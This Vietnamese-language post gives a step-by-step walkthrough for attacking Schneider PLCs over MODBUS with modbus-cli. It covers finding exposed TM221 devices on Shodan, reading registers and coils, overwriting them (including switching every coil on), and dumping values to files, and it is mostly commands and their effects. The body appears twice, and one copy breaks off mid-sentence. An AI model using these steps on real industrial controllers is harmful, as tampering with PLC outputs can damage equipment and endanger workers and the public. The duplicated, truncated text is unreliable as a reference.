-
08/10/2013
-
401
-
989 bài viết
Các bước tấn công thiết bị PLC sử dụng MODBUS-CLI
Trong các hệ thống điều khiển công nghiệp (ICS, SCADA, DCS) đều sử dụng thiết bị PLC (Programable Logic Controller). Đây là thiết bị điều khiển lập trình được cho phép thực hiện linh hoạt các thuật toán điều khiển logic thông qua một ngôn ngữ lập trình nào đó. PLC hoạt động theo phương thức quét các trạng thái trên đầu ra và đầu vào, khi có sự thay đổi ở đầu vào thì đầu ra sẽ thay đổi theo. Vì sự quan trọng trong vấn đề điều khiển hệ thống, nên kẻ gian khi can thiệp được vào hoạt động của PLC thì có thể gây hậu quả lớn.
Hình 1. Thiết bị PLC đóng vai trò trung tâm điều khiển
PLC cũng được coi là máy tính kỹ thuật số có thành phần chính là (1) bộ nhớ chương trình RAM, (2) bộ vi xử lý và (3) các modul vào /ra. Có thể lập trình PLC để:
· Điều khiển PID, FUZY
· Điều khiển liên tục nhiệt độ áp suất lưu lượng…
· Điều khiển động cơ chấp hành, động cơ bước
· Điều khiển biến tần
Người sử dụng có thể lập trình PLC để thực hiện một loạt trình tự các sự kiện. Các sự kiện này được kích hoạt bởi tác nhân kích thích (ngõ vào) tác động vào PLC hoặc qua các hoạt động có trễ như thời gian định thì hay các sự kiện được đếm.
Những kẻ tấn công nhắm mục tiêu vào các thiết bị PLC được chế tạo bởi các hãng nổi tiếng như Schneider, ABB, Siemens Electric … được sử dụng để tự động hóa các quy trình trong nhiều ngành sản xuất. Các thiết bị PLC sử dụng giao thức MODBUS/TCP để giao tiếp với các thiết bị công nghiệp khác. Những kẻ tấn công sử dụng các công cụ như MODBUS-CLI để khai thác điểm yếu trên các thiết bị PLC thông qua giao thức MODBUS. Đây là một công cụ miễn phí và dễ dùng để thao tác với các thiết bị sử dụng giao thức MODBUS.
Ví dụ các bước hack PLC hãng Schneider bằng modbus-cli:
- Bước 1: Xác định PLCS có kết nối Internet
Kẻ gian có thể sử dụng các công cụ như Shodan, Nmap, v.v. để tìm các cơ sở công nghiệp được public trên Internet. Ví dụ để phát hiện PLC Schneider Electric có mã TM221 được kết nối với Internet, có thể nhập “TM221ME16R” vào thanh tìm kiếm Shodan. Shodan truy xuất tất cả Schneider Electric TM221 PLCS được kết nối với Internet.
- Bước 2: Cài đặt modbus-cli
Sau khi xác định các thiết bị PLC dễ bị tấn công bằng Shodan, bây giờ kẻ gian cài đặt modbus-cli bằng lệnh sau:
gem install modbus-cli
- Bước 3: Hiểu các kiểu dữ liệu
Trước khi khai thác bằng modbus-cli, cần hiểu các kiểu dữ liệu được sử dụng để đọc các giá trị. Các kiểu dữ liệu này sử dụng hai loại địa chỉ, đó là địa chỉ Schneider và Modicon (công ty sáng tạo giao thức giao thức MODBUS). Địa chỉ Schneider bắt đầu bằng %M.
Bảng 1. Các kiểu dữ liệu tương ứng với format địa chỉ thanh ghi- Bước 4: Đọc các giá trị thanh ghi
Để đọc các giá trị thanh ghi từ các thiết bị được xác định trong bước 1, sử dụng lệnh sau:
· Sử dụng địa chỉ Schneider: modbus read <IP đích>% MW100 10
· Sử dụng địa chỉ Modicon: modbus read <IP đích> 400101 10
Hình 2. Lệnh trên truy xuất 10 word từ các thanh ghi.Như hình trên, các giá trị của 10 thanh ghi đã được liệt kê.
- Bước 5: Ghi đè các giá trị thanh ghi
Bây giờ, bạn có thể ghi đè các giá trị thanh ghi bằng các lệnh sau:
modbus write <IP đích> %MW100 2 2 2 2 2 2 2 2
modbus write < IP đích > 400101 2 2 2 2 2 2 2 2
Sau khi chạy lệnh trên, 8 giá trị thanh ghi đầu tiên được thay thế bằng 2.
- Bước 6: Đọc giá trị coils
Bây giờ, hãy thử truy xuất giá trị của các coils (giá trị thanh ghi dài 1 bit). Các giá trị này sử dụng kiểu dữ liệu Boolean để lưu trữ các giá trị ON/OFF (1/0). Chạy các lệnh sau để truy xuất các giá trị coils:
modbus read < IP đích > 101 10
modbus read < IP đích >% M100 10
Hình 3. Các giá trị Coils đọc được- Bước 7. Ghi đè các giá trị coils
Sử dụng các lệnh sau để BẬT tất cả các coils:
modbus write < IP đích > 101 1 1 1 1 1 1 1 1 1 1
modbus write < IP đích> & M100 1 1 1 1 1 1 1 1 1 1
Sau khi chạy lệnh trên, kiểm tra lại các giá trị coils, sẽ thấy tất cả các coils có giá trị là 1.
Hình 4. Các giá trị Coils sau khi bị ghi đè
- Bước 8: Lưu dữ liệu vào file
Có thể lưu dữ liệu từ các PLC để phân tích và thử nghiệm trong tương lai.
Sử dụng lệnh sau để lưu các giá trị thanh ghi vào tệp đầu ra:
Hình 1. Thiết bị PLC đóng vai trò trung tâm điều khiển
PLC cũng được coi là máy tính kỹ thuật số có thành phần chính là (1) bộ nhớ chương trình RAM, (2) bộ vi xử lý và (3) các modul vào /ra. Có thể lập trình PLC để:
· Điều khiển PID, FUZY
· Điều khiển liên tục nhiệt độ áp suất lưu lượng…
· Điều khiển động cơ chấp hành, động cơ bước
· Điều khiển biến tần
Người sử dụng có thể lập trình PLC để thực hiện một loạt trình tự các sự kiện. Các sự kiện này được kích hoạt bởi tác nhân kích thích (ngõ vào) tác động vào PLC hoặc qua các hoạt động có trễ như thời gian định thì hay các sự kiện được đếm.
Những kẻ tấn công nhắm mục tiêu vào các thiết bị PLC được chế tạo bởi các hãng nổi tiếng như Schneider, ABB, Siemens Electric … được sử dụng để tự động hóa các quy trình trong nhiều ngành sản xuất. Các thiết bị PLC sử dụng giao thức MODBUS/TCP để giao tiếp với các thiết bị công nghiệp khác. Những kẻ tấn công sử dụng các công cụ như MODBUS-CLI để khai thác điểm yếu trên các thiết bị PLC thông qua giao thức MODBUS. Đây là một công cụ miễn phí và dễ dùng để thao tác với các thiết bị sử dụng giao thức MODBUS.
Ví dụ các bước hack PLC hãng Schneider bằng modbus-cli:
- Bước 1: Xác định PLCS có kết nối Internet
Kẻ gian có thể sử dụng các công cụ như Shodan, Nmap, v.v. để tìm các cơ sở công nghiệp được public trên Internet. Ví dụ để phát hiện PLC Schneider Electric có mã TM221 được kết nối với Internet, có thể nhập “TM221ME16R” vào thanh tìm kiếm Shodan. Shodan truy xuất tất cả Schneider Electric TM221 PLCS được kết nối với Internet.
- Bước 2: Cài đặt modbus-cli
Sau khi xác định các thiết bị PLC dễ bị tấn công bằng Shodan, bây giờ kẻ gian cài đặt modbus-cli bằng lệnh sau:
gem install modbus-cli
- Bước 3: Hiểu các kiểu dữ liệu
Trước khi khai thác bằng modbus-cli, cần hiểu các kiểu dữ liệu được sử dụng để đọc các giá trị. Các kiểu dữ liệu này sử dụng hai loại địa chỉ, đó là địa chỉ Schneider và Modicon (công ty sáng tạo giao thức giao thức MODBUS). Địa chỉ Schneider bắt đầu bằng %M.
Bảng 1. Các kiểu dữ liệu tương ứng với format địa chỉ thanh ghi
Để đọc các giá trị thanh ghi từ các thiết bị được xác định trong bước 1, sử dụng lệnh sau:
· Sử dụng địa chỉ Schneider: modbus read <IP đích>% MW100 10
· Sử dụng địa chỉ Modicon: modbus read <IP đích> 400101 10
Hình 2. Lệnh trên truy xuất 10 word từ các thanh ghi.
- Bước 5: Ghi đè các giá trị thanh ghi
Bây giờ, bạn có thể ghi đè các giá trị thanh ghi bằng các lệnh sau:
modbus write <IP đích> %MW100 2 2 2 2 2 2 2 2
modbus write < IP đích > 400101 2 2 2 2 2 2 2 2
Sau khi chạy lệnh trên, 8 giá trị thanh ghi đầu tiên được thay thế bằng 2.
- Bước 6: Đọc giá trị coils
Bây giờ, hãy thử truy xuất giá trị của các coils (giá trị thanh ghi dài 1 bit). Các giá trị này sử dụng kiểu dữ liệu Boolean để lưu trữ các giá trị ON/OFF (1/0). Chạy các lệnh sau để truy xuất các giá trị coils:
modbus read < IP đích > 101 10
modbus read < IP đích >% M100 10
Hình 3. Các giá trị Coils đọc được
Sử dụng các lệnh sau để BẬT tất cả các coils:
modbus write < IP đích > 101 1 1 1 1 1 1 1 1 1 1
modbus write < IP đích> & M100 1 1 1 1 1 1 1 1 1 1
Sau khi chạy lệnh trên, kiểm tra lại các giá trị coils, sẽ thấy tất cả các coils có giá trị là 1.
Hình 4. Các giá trị Coils sau khi bị ghi đè
- Bước 8: Lưu dữ liệu vào file
Có thể lưu dữ liệu từ các PLC để phân tích và thử nghiệm trong tương lai.
Sử dụng lệnh sau để lưu các giá trị thanh ghi vào tệp đầu ra:
- modbus read --output SCADAregisters.txt < IP đích> 400101 200
- modbus read --output SCADAregisters.txt <IP đích> %MW100 200
- modbus read --output SCADAcoils.txt <IP> 101 100
- modbus read --output SCADAcoils.txt <IP>% M100 100
Chỉnh sửa lần cuối: